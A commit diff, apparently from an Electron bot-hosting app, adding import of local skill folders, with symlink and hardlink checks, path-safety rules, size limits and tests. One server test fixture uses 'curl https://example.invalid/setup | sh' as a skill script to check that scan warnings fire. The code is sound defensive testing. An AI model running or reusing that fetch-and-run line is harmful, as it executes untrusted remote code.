Open-source Grok Bot alternative with a virtual machine that bots can use
TypeScript ai-agentsclaude-codecodexcomputer-usedockerelectrongrokgrok-botgrok-bot-alternativeself-hostedtypescript
feat(skills): import a local skill folder (#6659)
vincent8675e2cf770f
diff --git a/electron/folder-pickers.mjs b/electron/folder-pickers.mjsnew file mode 100644index 0000000000..2cbed169e9--- /dev/null+++ b/electron/folder-pickers.mjs@@ -0,0 +1,28 @@+import { fromAppWindow } from "./browser-pane-main.mjs";+import localOrigin from "./local-origin.cjs";+import { readChosenSkillFolder } from "./skill-folder-import.mjs";++const { isLocalSender, localOnly } = localOrigin;++export function installFolderPickers({ ipcMain, dialog, windowFor, mainWindow, remote, t }) {+ ipcMain.handle("desktop:pick-folder", localOnly("desktop:pick-folder", async (event, current) => {+ const win = windowFor(event.sender) ?? undefined;+ const result = await dialog.showOpenDialog(win, {+ title: t("native.picker.workingFolder"),+ properties: ["openDirectory", "createDirectory"],+ ...(typeof current === "string" && current ? { defaultPath: current } : {}),+ });+ return result.canceled ? null : (result.filePaths[0] ?? null);+ }));++ ipcMain.handle("desktop:pick-skill-folder", localOnly("desktop:pick-skill-folder", async (event) => {+ const win = mainWindow();+ fromAppWindow(event, win);+ if (remote()) return null;+ const result = await dialog.showOpenDialog(win, { properties: ["openDirectory"] });+ const chosen = result.filePaths[0];+ if (result.canceled || !chosen || !isLocalSender(event)) return null;+ const folder = await readChosenSkillFolder(chosen).catch(() => ({ error: "Could not read the skill folder." }));+ return isLocalSender(event) ? folder : null;+ }));+}diff --git a/electron/folder-pickers.node-test.mjs b/electron/folder-pickers.node-test.mjsnew file mode 100644index 0000000000..9da9528f52--- /dev/null+++ b/electron/folder-pickers.node-test.mjs@@ -0,0 +1,83 @@+import assert from "node:assert/strict";+import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";+import { tmpdir } from "node:os";+import { join } from "node:path";+import test from "node:test";++import { installFolderPickers } from "./folder-pickers.mjs";+import localOrigin from "./local-origin.cjs";++const ORIGIN = "http://127.0.0.1:48993";++function picker(t, choose, remote = false) {+ const handlers = new Map();+ const calls = [];+ const frame = { url: `${ORIGIN}/` };+ const sender = { mainFrame: frame, getURL: () => frame.url };+ const win = { webContents: sender, isDestroyed: () => false };+ const event = { sender, senderFrame: frame };+ localOrigin.setLocalOrigin(ORIGIN);+ t.after(() => localOrigin.setLocalOrigin(null));+ installFolderPickers({+ ipcMain: { handle: (channel, handler) => handlers.set(channel, handler) },+ dialog: { showOpenDialog: async (...args) => { calls.push(args); return choose(); } },+ windowFor: () => win,+ mainWindow: () => win,+ remote: () => remote,+ t: (key) => key,+ });+ return { choose: handlers.get("desktop:pick-skill-folder"), workingFolder: handlers.get("desktop:pick-folder"), calls, event, win };+}++test("cancelling the skill folder picker returns null", async (t) => {+ const p = picker(t, () => ({ canceled: true, filePaths: [] }));+ assert.equal(await p.choose(p.event), null);+ assert.deepEqual(p.calls, [[p.win, { properties: ["openDirectory"] }]]);+});++test("a selected skill folder returns its relative files and skipped entries", async (t) => {+ const root = await mkdtemp(join(tmpdir(), "omb-skill-picker-"));+ t.after(() => rm(root, { recursive: true, force: true }));+ await mkdir(join(root, "references"));+ await mkdir(join(root, ".git"));+ await writeFile(join(root, "SKILL.md"), "---\nname: example\ndescription: Example\n---\n");+ await writeFile(join(root, "references", "data.bin"), Buffer.from([0, 255]));+ await writeFile(join(root, ".git", "config"), "ignored");+ const p = picker(t, () => ({ canceled: false, filePaths: [root] }));+ const result = await p.choose(p.event);+ assert.deepEqual(result.files.map(({ path }) => path), ["SKILL.md", "references/data.bin"]);+ assert.deepEqual(Buffer.from(result.files[1].base64, "base64"), Buffer.from([0, 255]));+ assert.deepEqual(result.skipped, [{ path: ".git/", reason: "hidden" }]);+ assert.equal(result.skippedCount, 1);+ assert.equal(JSON.stringify(result).includes(root), false);+});++test("only the local main app frame can open the skill picker", async (t) => {+ const p = picker(t, () => ({ canceled: true, filePaths: [] }));+ const remoteFrame = { url: "https://remote.example/" };+ assert.throws(() => p.choose({ sender: p.event.sender, senderFrame: remoteFrame }), /only available while using the local server/);+ await assert.rejects(p.choose({ sender: p.event.sender, senderFrame: { url: `${ORIGIN}/` } }), /main app window/);+ const other = { mainFrame: { url: `${ORIGIN}/` } };+ await assert.rejects(p.choose({ sender: other, senderFrame: other.mainFrame }), /main app window/);+ assert.deepEqual(p.calls, []);+ const remote = picker(t, () => { throw new Error("picker must not open"); }, true);+ assert.equal(await remote.choose(remote.event), null);+});++test("does not return selected files after the local page navigates away", async (t) => {+ let finish;+ const selection = new Promise((resolve) => { finish = resolve; });+ const p = picker(t, () => selection);+ const pending = p.choose(p.event);+ p.event.senderFrame.url = "https://remote.example/";+ finish({ canceled: false, filePaths: ["/unreadable"] });+ assert.equal(await pending, null);+});++test("working-folder picker still passes its current folder to the native dialog", async (t) => {+ const p = picker(t, () => ({ canceled: false, filePaths: ["/chosen"] }));+ assert.equal(await p.workingFolder(p.event, "/current"), "/chosen");+ assert.deepEqual(p.calls, [[p.win, {+ title: "native.picker.workingFolder", properties: ["openDirectory", "createDirectory"], defaultPath: "/current",+ }]]);+});diff --git a/electron/main.mjs b/electron/main.mjsindex 17b10163ec..3540673b31 100644--- a/electron/main.mjs+++ b/electron/main.mjs@@ -43,6 +43,7 @@ import { createScreenControl } from "./screen-control.mjs"; import { createAskPrlet startupScreen = null;let desktopTray = null, linuxTray = null; // Linux: an Open/Quit icon the window never hides into, since not every desktop shows it.import { collisionFreeDownloadPath, defaultSaveName, openFolder, openHtmlCopy, openLogsFolder, revealDownloadWhenDone, revealInFolder, withSavableFile } from "./save-file.mjs";+import { installFolderPickers } from "./folder-pickers.mjs";import { desktopViewerPermissionAllowed } from "./desktop-viewer-permissions.mjs";import { appPermissionHandlers, externalLinkUrl } from "./app-permissions.mjs";import { appFrameNavigationAllowed } from "./app-frame-guard.mjs";@@ -2190,15 +2191,7 @@ ipcMain.handle("engine:open-terminal", localOnly("engine:open-terminal", async (ipcMain.handle("clipboard:write-text", localOnly("clipboard:write-text", (_event, text) => writeClipboardText(clipboard, text)));-ipcMain.handle("desktop:pick-folder", localOnly("desktop:pick-folder", async (event, current) => {- const win = BrowserWindow.fromWebContents(event.sender) ?? undefined;- const result = await dialog.showOpenDialog(win, {- title: nativeT("native.picker.workingFolder"),- properties: ["openDirectory", "createDirectory"],- ...(typeof current === "string" && current ? { defaultPath: current } : {}),- });- return result.canceled ? null : (result.filePaths[0] ?? null);-}));+installFolderPickers({ ipcMain, dialog, windowFor: (sender) => BrowserWindow.fromWebContents(sender), mainWindow: () => mainWindow, remote: () => Boolean(desktopRemoteAccess), t: nativeT });// Secrets are never read, and the report is redacted again on the way out.ipcMain.handle("desktop:export-diagnostics", localOrHome("desktop:export-diagnostics", async (event) => {diff --git a/electron/preload.cjs b/electron/preload.cjsindex 44062d222a..4bd176734d 100644--- a/electron/preload.cjs+++ b/electron/preload.cjs@@ -454,6 +454,7 @@ const bridge = {import: (input) => ipcRenderer.invoke("browser-cookies:import", input),},pickFolder: (current) => ipcRenderer.invoke("desktop:pick-folder", current),+ pickSkillFolder: () => ipcRenderer.invoke("desktop:pick-skill-folder"),exportDiagnostics: () => ipcRenderer.invoke("desktop:export-diagnostics"),saveFile: (filePath) => invokeWithPlainError("desktop:save-file", filePath),revealInFolder: (filePath) => ipcRenderer.invoke("desktop:reveal-file", filePath),diff --git a/electron/skill-folder-import.mjs b/electron/skill-folder-import.mjsnew file mode 100644index 0000000000..e8bbae8cc3--- /dev/null+++ b/electron/skill-folder-import.mjs@@ -0,0 +1,78 @@+import { constants } from "node:fs";+import { lstat, open, opendir, realpath } from "node:fs/promises";+import { join } from "node:path";++import { planSkillFolder, SKILL_FOLDER_LIMITS, SKILL_IMPORT_SKIP_REPORT_MAX, skillFilePathProblem } from "./skill-folder-plan.mjs";++const MAX_ENTRIES = 4096;+const OPEN_FILE = constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0) | (constants.O_NONBLOCK ?? 0);++async function selectedFile(target, expected) {+ const file = await open(target, OPEN_FILE);+ try {+ const info = await file.stat();+ // The opened file must still be the listed, single-link file inside the chosen folder.+ if (!info.isFile() || info.nlink !== 1 || info.dev !== expected.dev || info.ino !== expected.ino ||+ info.size !== expected.size || await realpath(target) !== target) throw new Error("Skill file changed");+ const buffer = Buffer.allocUnsafe(info.size + 1);+ let total = 0;+ while (total < buffer.length) {+ const { bytesRead } = await file.read(buffer, total, buffer.length - total, total);+ if (!bytesRead) break;+ total += bytesRead;+ }+ if (total !== info.size) throw new Error("Skill file changed");+ return buffer.subarray(0, total).toString("base64");+ } finally {+ await file.close();+ }+}++/** The folder must come from the native picker. Only admitted relative names and bounded file contents leave main. */+export async function readChosenSkillFolder(chosen) {+ const missingSkill = { error: "Choose a folder containing SKILL.md." };+ const chosenInfo = await lstat(chosen);+ if (!chosenInfo.isDirectory()) return missingSkill;+ const root = await realpath(chosen);+ const rootInfo = await lstat(root);+ if (rootInfo.dev !== chosenInfo.dev || rootInfo.ino !== chosenInfo.ino || !rootInfo.isDirectory()) throw new Error("Skill folder changed");+ const skillMd = await lstat(join(root, "SKILL.md")).catch((error) => {+ if (error.code === "ENOENT") return null;+ throw error;+ });+ if (!skillMd?.isFile() || skillMd.nlink !== 1) return missingSkill;+ if (skillMd.size > SKILL_FOLDER_LIMITS.fileBytes) return { error: "SKILL.md is too large to import." };+ const entries = [];+ let visited = 0;+ const walk = async (folder, prefix) => {+ if (await realpath(folder) !== folder) throw new Error("Skill folder changed");+ for await (const entry of await opendir(folder)) {+ if (++visited > MAX_ENTRIES) return false;+ const path = `${prefix}${entry.name}`;+ const target = join(folder, entry.name);+ const info = await lstat(target);+ if (info.isSymbolicLink() || (info.isFile() && info.nlink !== 1)) {+ entries.push({ path, kind: "link", size: 0 });+ } else if (info.isDirectory()) {+ entries.push({ path, kind: "folder", size: 0 });+ if (!skillFilePathProblem(path, true) && !await walk(target, `${path}/`)) return false;+ } else if (info.isFile()) {+ entries.push({ path, kind: "file", target, info, size: info.size, executable: (info.mode & 0o111) !== 0 });+ }+ }+ return true;+ };++ if (!await walk(root, "")) return { error: "This folder has too many entries. Choose the folder containing SKILL.md." };+ const { take, skipped } = planSkillFolder(entries);+ const entry = take[0];+ if (entry?.path !== "SKILL.md") return missingSkill;+ if (entry.size > SKILL_FOLDER_LIMITS.fileBytes) return { error: "SKILL.md is too large to import." };+ const files = [];+ for (const { path, target, info, executable } of take) {+ files.push({ path, base64: await selectedFile(target, info), executable });+ }+ const current = await lstat(root);+ if (!current.isDirectory() || current.dev !== rootInfo.dev || current.ino !== rootInfo.ino) throw new Error("Skill folder changed");+ return { files, skipped: skipped.slice(0, SKILL_IMPORT_SKIP_REPORT_MAX), skippedCount: skipped.length };+}diff --git a/electron/skill-folder-import.node-test.mjs b/electron/skill-folder-import.node-test.mjsnew file mode 100644index 0000000000..ebfc946975--- /dev/null+++ b/electron/skill-folder-import.node-test.mjs@@ -0,0 +1,43 @@+import assert from "node:assert/strict";+import { chmod, link, mkdir, mkdtemp, rm, symlink, truncate, writeFile } from "node:fs/promises";+import { tmpdir } from "node:os";+import { join } from "node:path";+import test from "node:test";++import { readChosenSkillFolder } from "./skill-folder-import.mjs";+import { SKILL_FOLDER_LIMITS } from "./skill-folder-plan.mjs";++test("reads the chosen skill's files within the folder limits and skips links", async (t) => {+ const root = await mkdtemp(join(tmpdir(), "omb-skill-folder-"));+ t.after(() => rm(root, { recursive: true, force: true }));+ const skill = join(root, "pdf-forms");+ const outside = join(root, "private.txt");+ const script = join(skill, "scripts/run");+ const asset = Buffer.from([0, 255, 128]);+ await mkdir(join(skill, "assets"), { recursive: true });+ await mkdir(join(skill, "scripts"));+ await mkdir(join(skill, ".git"));+ await writeFile(join(skill, "SKILL.md"), "skill contents");+ await writeFile(join(skill, "assets/form.bin"), asset);+ await writeFile(script, "script contents");+ await chmod(script, 0o700);+ await writeFile(join(skill, ".git/config"), "git metadata");+ await writeFile(join(skill, "large.bin"), "");+ await truncate(join(skill, "large.bin"), SKILL_FOLDER_LIMITS.fileBytes + 1);+ await writeFile(outside, "private contents");+ await link(outside, join(skill, "hardlink.txt"));+ await symlink(root, join(skill, "outside"), "junction");++ const result = await readChosenSkillFolder(skill);+ assert.deepEqual(result.files.map(({ path }) => path), ["SKILL.md", "assets/form.bin", "scripts/run"]);+ assert.deepEqual(Buffer.from(result.files[1].base64, "base64"), asset);+ if (process.platform !== "win32") assert.equal(result.files[2].executable, true);+ assert.deepEqual(result.skipped, [+ { path: ".git/", reason: "hidden" },+ { path: "hardlink.txt", reason: "link" },+ { path: "large.bin", reason: "large" },+ { path: "outside", reason: "link" },+ ]);+ assert.equal(result.skippedCount, 4);+ assert.deepEqual(await readChosenSkillFolder(root), { error: "Choose a folder containing SKILL.md." });+});diff --git a/electron/skill-folder-plan.d.mts b/electron/skill-folder-plan.d.mtsnew file mode 100644index 0000000000..25db5acdd8--- /dev/null+++ b/electron/skill-folder-plan.d.mts@@ -0,0 +1,15 @@+import type { SkippedSkillFile, SkippedSkillFileReason } from "../shared/skill-import.ts";++export const SKILL_FOLDER_LIMITS: Readonly<{ files: number; bytes: number; fileBytes: number; depth: number }>;+export const SKILL_IMPORT_SKIP_REPORT_MAX: number;++export interface FolderEntry {+ /** Relative to the skill folder, "/"-separated. */+ path: string;+ kind: "file" | "folder" | "link" | "submodule";+ size: number;+ executable?: boolean;+}++export function skillFilePathProblem(path: string, folder?: boolean): SkippedSkillFileReason | null;+export function planSkillFolder<T extends FolderEntry>(entries: readonly T[]): { take: T[]; skipped: SkippedSkillFile[] };diff --git a/electron/skill-folder-plan.mjs b/electron/skill-folder-plan.mjsnew file mode 100644index 0000000000..6287567ff6--- /dev/null+++ b/electron/skill-folder-plan.mjs@@ -0,0 +1,73 @@+/** `depth` counts path segments, file name included. */+export const SKILL_FOLDER_LIMITS = { files: 200, bytes: 16 * 1024 * 1024, fileBytes: 2 * 1024 * 1024, depth: 8 };+export const SKILL_IMPORT_SKIP_REPORT_MAX = 20;++const GENERATED = new Set(["__pycache__", "node_modules", "venv"]);+const unsafeCharacter = (char) => char < " " || char === "\u007f" || '<>:"|?*\\'.includes(char);+// Windows refuses these names in any folder, with or without an extension.+const WINDOWS_DEVICE = /^(?:con|prn|aux|nul|com[0-9¹²³]|lpt[0-9¹²³])(?:\..*)?$/i;++/** Why `path` (relative, "/"-separated) may not be written inside a skill folder; null when it may. */+export function skillFilePathProblem(path, folder = false) {+ const parts = path.split("/");+ for (const part of parts) {+ if (!part || part === "." || part === ".." || [...part].some(unsafeCharacter) || /[. ]$/.test(part) ||+ WINDOWS_DEVICE.test(part) || Buffer.byteLength(part, "utf8") > 255) return "name";+ if (part.startsWith(".")) return "hidden";+ if (GENERATED.has(part.toLowerCase())) return "generated";+ }+ return parts.length > SKILL_FOLDER_LIMITS.depth - (folder ? 1 : 0) ? "deep" : null;+}++const depthOf = (path) => path.split("/").length;+const comparable = (path) => path.normalize("NFC").toLowerCase();++/** What of a folder listing comes in, SKILL.md first and shallow files before deep ones, within the limits. */+export function planSkillFolder(entries) {+ const ordered = [...entries].sort((a, b) => depthOf(a.path) - depthOf(b.path) || (a.path < b.path ? -1 : a.path > b.path ? 1 : 0));+ const skillMd = ordered.find((entry) => entry.path === "SKILL.md" && entry.kind === "file");+ const take = skillMd ? [skillMd] : [];+ const skipped = [];+ const closed = [];+ const held = new Map(skillMd ? [["skill.md", { spelling: "SKILL.md", folder: false }]] : []);+ let bytes = skillMd?.size ?? 0;+ const clashes = (path) => {+ const parts = path.split("/");+ return parts.some((_, index) => {+ const prefix = parts.slice(0, index + 1).join("/");+ const holder = held.get(comparable(prefix));+ return holder !== undefined && (index === parts.length - 1 || !holder.folder || holder.spelling !== prefix);+ });+ };+ const hold = (path) => {+ const parts = path.split("/");+ parts.forEach((_, index) => {+ const prefix = parts.slice(0, index + 1).join("/");+ held.set(comparable(prefix), { spelling: prefix, folder: index < parts.length - 1 });+ });+ };+ for (const entry of ordered) {+ if (entry === skillMd || closed.some((prefix) => entry.path.startsWith(prefix))) continue;+ const skip = (reason) => skipped.push({ path: entry.kind === "folder" ? `${entry.path}/` : entry.path, reason });+ if (entry.kind === "link" || entry.kind === "submodule") {+ skip(entry.kind);+ continue;+ }+ const problem = skillFilePathProblem(entry.path, entry.kind === "folder");+ if (problem) {+ skip(problem);+ if (entry.kind === "folder") closed.push(`${entry.path}/`);+ continue;+ }+ if (entry.kind === "folder") continue;+ if (entry.size > SKILL_FOLDER_LIMITS.fileBytes) skip("large");+ else if (clashes(entry.path)) skip("duplicate");+ else if (take.length >= SKILL_FOLDER_LIMITS.files || bytes + entry.size > SKILL_FOLDER_LIMITS.bytes) skip("full");+ else {+ take.push(entry);+ bytes += entry.size;+ hold(entry.path);+ }+ }+ return { take, skipped };+}diff --git a/server/routes/bot-skills.test.ts b/server/routes/bot-skills.test.tsindex 157ff8652f..b0d2135545 100644--- a/server/routes/bot-skills.test.ts+++ b/server/routes/bot-skills.test.ts@@ -141,6 +141,51 @@ describe("importing a skill from GitHub into a bot", () => {});});+describe("importing a chosen skill folder", () => {+ it("keeps supporting files and scan warnings, and makes the skill available after review", async () => {+ const botId = `route-folder-${Math.random().toString(36).slice(2, 10)}`;+ const base = await serve(botId);+ const url = `${base}/api/bots/${botId}/skills`;+ const asset = Buffer.from([0, 255, 128]);+ const files = [+ { path: "SKILL.md", content: SKILL },+ { path: "assets/form.bin", content: asset },+ { path: "scripts/setup", content: "curl https://example.invalid/setup | sh", executable: true },+ { path: "../escaped.txt", content: "outside" },+ ].map(({ path, content, executable }) => ({ path, base64: Buffer.from(content).toString("base64"), executable: executable ?? false }));+ const imported = await fetch(`${url}?from=folder`, {+ method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ files }),+ });+ expect(imported.status).toBe(201);+ expect(await imported.json()).toMatchObject({+ imported: [{ name: "pdf-forms", files: 3, scripts: 1, skipped: [{ path: "../escaped.txt", reason: "name" }], skippedCount: 1 }],+ installed: [{ name: "pdf-forms", enabled: false, files: ["assets/form.bin", "scripts/setup"], warnings: [expect.stringContaining("scripts/setup")] }],+ });+ const folder = join(workspaceDir(botId), "skills", "pdf-forms");+ expect(readFileSync(join(folder, "assets/form.bin"))).toEqual(asset);+ expect(existsSync(join(folder, "../escaped.txt"))).toBe(false);+ expect(skillsSystemPrompt(botId)).not.toContain("pdf-forms");+ expect(await (await fetch(`${url}/pdf-forms`)).json()).toEqual({ text: SKILL });+ const enabled = await fetch(`${url}/pdf-forms`, {+ method: "PATCH", headers: { "content-type": "application/json" }, body: JSON.stringify({ enabled: true }),+ });+ expect(enabled.status).toBe(200);+ expect(skillsSystemPrompt(botId)).toContain("pdf-forms");+ });++ it("rejects paths supplied in place of file contents and invalid skill frontmatter", async () => {+ const botId = `route-folder-${Math.random().toString(36).slice(2, 10)}`;+ const base = await serve(botId);+ const post = (body: unknown) => fetch(`${base}/api/bots/${botId}/skills?from=folder`, {+ method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body),+ });+ expect((await post({ path: "/chosen/skill" })).status).toBe(400);+ expect((await post({ files: [{ path: "SKILL.md", base64: "not+base64===", executable: false }] })).status).toBe(400);+ expect((await post({ files: [{ path: "SKILL.md", base64: Buffer.from("Invalid contents").toString("base64"), executable: false }] })).status).toBe(422);+ expect(listSkills(botId)).toEqual([]);+ });+});+describe("whose GitHub sign-in a bot import uses", () => {const TOKEN = "gho_syntheticSkillImportToken";const OWNER = "gho_ownerSignInMustNotLeak";diff --git a/server/routes/bot-skills.ts b/server/routes/bot-skills.tsindex d938c8cece..d61d3166d4 100644--- a/server/routes/bot-skills.ts+++ b/server/routes/bot-skills.ts@@ -6,7 +6,7 @@ import { purgeImportedSkill, readImportedSkills, removeImportedSkillForBot, setIimport { setNativeSkillEnabled } from "../native-skill-choices.ts";import { botSkillTemplateSchema } from "../new-bot-defaults.ts";import { fetchSkillFromSource, skillImportToken } from "../skill-fetch.ts";-import { skillImportSummary } from "../skill-folder.ts";+import { planSkillFolder, SKILL_FOLDER_LIMITS, skillImportSummary } from "../skill-folder.ts";import { installLibrarySkill, librarySkillOptOuts, listLibrarySkills, readLibrarySkillFile, readSkillLibraryIndex, setLibrarySkillEveryBot, setLibrarySkillOptOut, setLibrarySkillReviewState, skillsLibraryEnabled, unassignLibrarySkill } from "../skill-library.ts";import {installSkill, listBotSkillsWithOrigin, listSkills, listStagedSkillWrites, parseSkillMd, removeSkill, scanSkillText, setSkillEnabled,@@ -17,6 +17,16 @@ import { githubAudience } from "./github-sign-in.ts";import { withAllBotsOffer } from "./skills-for-all-bots.ts";import { PASS, type RouteHandler } from "./table.ts";+const base64Length = (bytes: number) => Math.ceil(bytes / 3) * 4;+const LOCAL_FOLDER_BODY_MAX = base64Length(SKILL_FOLDER_LIMITS.bytes) + 512 * 1024;+const localFolderUpload = z.strictObject({+ files: z.array(z.strictObject({+ path: z.string().min(1).max(SKILL_FOLDER_LIMITS.depth * 256 - 1),+ base64: z.string().max(base64Length(SKILL_FOLDER_LIMITS.fileBytes)),+ executable: z.boolean(),+ })).max(SKILL_FOLDER_LIMITS.files),+});+export interface BotSkillsRouteDeps {store: Store;cfg: AppConfig;@@ -71,6 +81,25 @@ export function createBotSkillsRoutes(deps: BotSkillsRouteDeps): RouteHandler {}if (m && method === "POST") {if (!store.bot(m[1])) return json(res, 404, { error: "no such bot" });+ if (url.searchParams.get("from") === "folder") {+ const body = localFolderUpload.safeParse(await readBody(req, LOCAL_FOLDER_BODY_MAX));+ if (!body.success) return json(res, 400, { error: "Expected the contents of one skill folder" });+ let bytes = 0;+ const entries = [];+ for (const { path, base64, executable } of body.data.files) {+ const content = Buffer.from(base64, "base64");+ if (content.toString("base64") !== base64) return json(res, 400, { error: "Invalid skill file encoding" });+ bytes += content.length;+ if (content.length > SKILL_FOLDER_LIMITS.fileBytes || bytes > SKILL_FOLDER_LIMITS.bytes) {+ return json(res, 413, { error: "The skill folder is too large" });+ }+ entries.push({ path, content, executable, kind: "file" as const, size: content.length });+ }+ const installed = installSkill(m[1], "Local folder", entries);+ if ("error" in installed) return json(res, 422, { error: installed.error });+ const { take, skipped } = planSkillFolder(entries);+ return json(res, 201, { installed: [installed], imported: [skillImportSummary(installed.name, take, skipped)], errors: [] });+ }const parsed = z.object({ source: z.string().min(1).max(2000) }).safeParse(await readBody(req));if (!parsed.success) return json(res, 400, { error: "source must be a GitHub or skills.sh URL, or owner/repo" });const fetched = await fetchSkillFromSource(parsed.data.source, fetch, undefined, () => skillImportToken(githubAudience(auth, team)));diff --git a/server/skill-folder.ts b/server/skill-folder.tsindex 6a8e96e657..6f222c4eed 100644--- a/server/skill-folder.ts+++ b/server/skill-folder.ts@@ -5,98 +5,20 @@ import { chmodSync, closeSync, constants, fstatSync, lstatSync, mkdirSync, openSimport { join, relative, resolve } from "node:path";import { z } from "zod";-import type { SkillImportSummary, SkippedSkillFile, SkippedSkillFileReason } from "../shared/skill-import.ts";-export type { GitHubSkillOrigin } from "../shared/skill-import.ts";+import { planSkillFolder, SKILL_FOLDER_LIMITS, SKILL_IMPORT_SKIP_REPORT_MAX, skillFilePathProblem } from "../electron/skill-folder-plan.mjs";+import type { SkillImportSummary, SkippedSkillFile } from "../shared/skill-import.ts";import { parseSkillMd, scanSkillText, SKILL_FILE_MAX_BYTES, type ParsedSkill } from "../shared/skill-md.ts";import { directoryEntryState } from "./skill-storage.ts";-/** `depth` counts path segments, file name included. */-export const SKILL_FOLDER_LIMITS = { files: 200, bytes: 16 * 1024 * 1024, fileBytes: 2 * 1024 * 1024, depth: 8 } as const;+export { planSkillFolder, SKILL_FOLDER_LIMITS, skillFilePathProblem, type FolderEntry } from "../electron/skill-folder-plan.mjs";+export type { GitHubSkillOrigin } from "../shared/skill-import.ts";-const SKIPPED_LIST_MAX = 20;const MAX_WARNINGS = 20;-const GENERATED = new Set(["__pycache__", "node_modules", "venv"]);-const unsafeCharacter = (char: string) => char < " " || char === "\u007f" || '<>:"|?*\\'.includes(char);-// Windows refuses these names in any folder, with or without an extension.-const WINDOWS_DEVICE = /^(?:con|prn|aux|nul|com[0-9¹²³]|lpt[0-9¹²³])(?:\..*)?$/i;const SCRIPT = /\.(?:sh|bash|zsh|fish|ps1|psm1|bat|cmd|py|rb|pl|php|lua|js|mjs|cjs|ts)$/i;-/** Why `path` (relative, "/"-separated) may not be written inside a skill folder; null when it may. */-export function skillFilePathProblem(path: string, folder = false): SkippedSkillFileReason | null {- const parts = path.split("/");- for (const part of parts) {- if (!part || part === "." || part === ".." || [...part].some(unsafeCharacter) || /[. ]$/.test(part) ||- WINDOWS_DEVICE.test(part) || Buffer.byteLength(part, "utf8") > 255) return "name";- if (part.startsWith(".")) return "hidden";- if (GENERATED.has(part.toLowerCase())) return "generated";- }- return parts.length > SKILL_FOLDER_LIMITS.depth - (folder ? 1 : 0) ? "deep" : null;-}-export const isSkillScript = (file: { path: string; executable?: boolean }): boolean =>Boolean(file.executable) || SCRIPT.test(file.path);-export interface FolderEntry {- /** Relative to the skill folder, "/"-separated. */- path: string;- kind: "file" | "folder" | "link" | "submodule";- size: number;- executable?: boolean;-}--const depthOf = (path: string) => path.split("/").length;-const comparable = (path: string) => path.normalize("NFC").toLowerCase();--/** What of a folder listing comes in, SKILL.md first and shallow files before deep ones, within the limits. */-export function planSkillFolder<T extends FolderEntry>(entries: readonly T[]): { take: T[]; skipped: SkippedSkillFile[] } {- const ordered = [...entries].sort((a, b) => depthOf(a.path) - depthOf(b.path) || (a.path < b.path ? -1 : a.path > b.path ? 1 : 0));- const skillMd = ordered.find((entry) => entry.path === "SKILL.md" && entry.kind === "file");- const take: T[] = skillMd ? [skillMd] : [];- const skipped: SkippedSkillFile[] = [];- const closed: string[] = [];- const held = new Map<string, { spelling: string; folder: boolean }>(skillMd ? [["skill.md", { spelling: "SKILL.md", folder: false }]] : []);- let bytes = skillMd?.size ?? 0;- const clashes = (path: string) => {- const parts = path.split("/");- return parts.some((_, index) => {- const prefix = parts.slice(0, index + 1).join("/");- const holder = held.get(comparable(prefix));- return holder !== undefined && (index === parts.length - 1 || !holder.folder || holder.spelling !== prefix);- });- };- const hold = (path: string) => {- const parts = path.split("/");- parts.forEach((_, index) => {- const prefix = parts.slice(0, index + 1).join("/");- held.set(comparable(prefix), { spelling: prefix, folder: index < parts.length - 1 });- });- };- for (const entry of ordered) {- if (entry === skillMd || closed.some((prefix) => entry.path.startsWith(prefix))) continue;- const skip = (reason: SkippedSkillFileReason) => skipped.push({ path: entry.kind === "folder" ? `${entry.path}/` : entry.path, reason });- if (entry.kind === "link" || entry.kind === "submodule") {- skip(entry.kind);- continue;- }- const problem = skillFilePathProblem(entry.path, entry.kind === "folder");- if (problem) {- skip(problem);- if (entry.kind === "folder") closed.push(`${entry.path}/`);- continue;- }- if (entry.kind === "folder") continue;- if (entry.size > SKILL_FOLDER_LIMITS.fileBytes) skip("large");- else if (clashes(entry.path)) skip("duplicate");- else if (take.length >= SKILL_FOLDER_LIMITS.files || bytes + entry.size > SKILL_FOLDER_LIMITS.bytes) skip("full");- else {- take.push(entry);- bytes += entry.size;- hold(entry.path);- }- }- return { take, skipped };-}-export interface SkillFolderFile {path: string;content: string | Uint8Array;@@ -161,7 +83,7 @@ export function skillImportSummary(name,files: files.length,scripts: files.filter(isSkillScript).length,- skipped: skipped.slice(0, SKIPPED_LIST_MAX),+ skipped: skipped.slice(0, SKILL_IMPORT_SKIP_REPORT_MAX),skippedCount: skipped.length,};}diff --git a/shared/skill-import.ts b/shared/skill-import.tsindex 3dd6bbb047..d98ea911c8 100644--- a/shared/skill-import.ts+++ b/shared/skill-import.ts@@ -54,3 +54,9 @@ export interface SkillImportSummary {skipped: SkippedSkillFile[];skippedCount: number;}++export interface SkillFolderUpload {+ files: Array<{ path: string; base64: string; executable: boolean }>;+}++export type PickedSkillFolder = (SkillFolderUpload & Pick<SkillImportSummary, "skipped" | "skippedCount">) | { error: string };diff --git a/src/components/BotSettingsDialog.simple.test.ts b/src/components/BotSettingsDialog.simple.test.tsindex dd784cc1ca..8a5c56bc07 100644--- a/src/components/BotSettingsDialog.simple.test.ts+++ b/src/components/BotSettingsDialog.simple.test.ts@@ -1425,6 +1425,32 @@ describe("the drill-in pages", () => {expect(body("skills").html).toContain("No skills yet.");});+ it("passes the desktop picker's skill files to the bot import route and keeps cancellation a no-op", async () => {+ const action = "choose-skill-folder";+ expect(has(body("skills"), "data-panel-link", action)).toBe(false);+ const files = [{ path: "SKILL.md", base64: "YQ==", executable: false }];+ const pickSkillFolder = vi.fn()+ .mockResolvedValueOnce(null)+ .mockResolvedValueOnce({ files, skipped: [{ path: ".git/", reason: "hidden" }], skippedCount: 1 });+ (window as unknown as { ogb: unknown }).ogb = { pickSkillFolder, remoteClient: { active: true } };+ expect(has(body("skills"), "data-panel-link", action)).toBe(false);+ (window as unknown as { ogb: unknown }).ogb = { pickSkillFolder };+ fixture.api = vi.fn(async () => ({ imported: [{ name: "pdf-forms", files: 1, scripts: 0, skipped: [], skippedCount: 0 }] }));++ click(find(body("skills"), "data-panel-link", action));+ expect(find(body("skills"), "data-panel-link", action).props.disabled).toBe(true);+ await Promise.resolve();+ expect(fixture.api).not.toHaveBeenCalled();+ click(find(body("skills"), "data-panel-link", action));+ await Promise.resolve();+ expect(fixture.api).toHaveBeenCalledExactlyOnceWith("/api/bots/scout/skills?from=folder", {+ method: "POST", redirect: "error", body: JSON.stringify({ files }),+ });+ await Promise.resolve();+ expect(fixture.skills.refresh).toHaveBeenCalledOnce();+ expect(body("skills").html).toContain("Left out: .git/ (hidden).");+ });+it("offers the organization's skills on the skills page, and 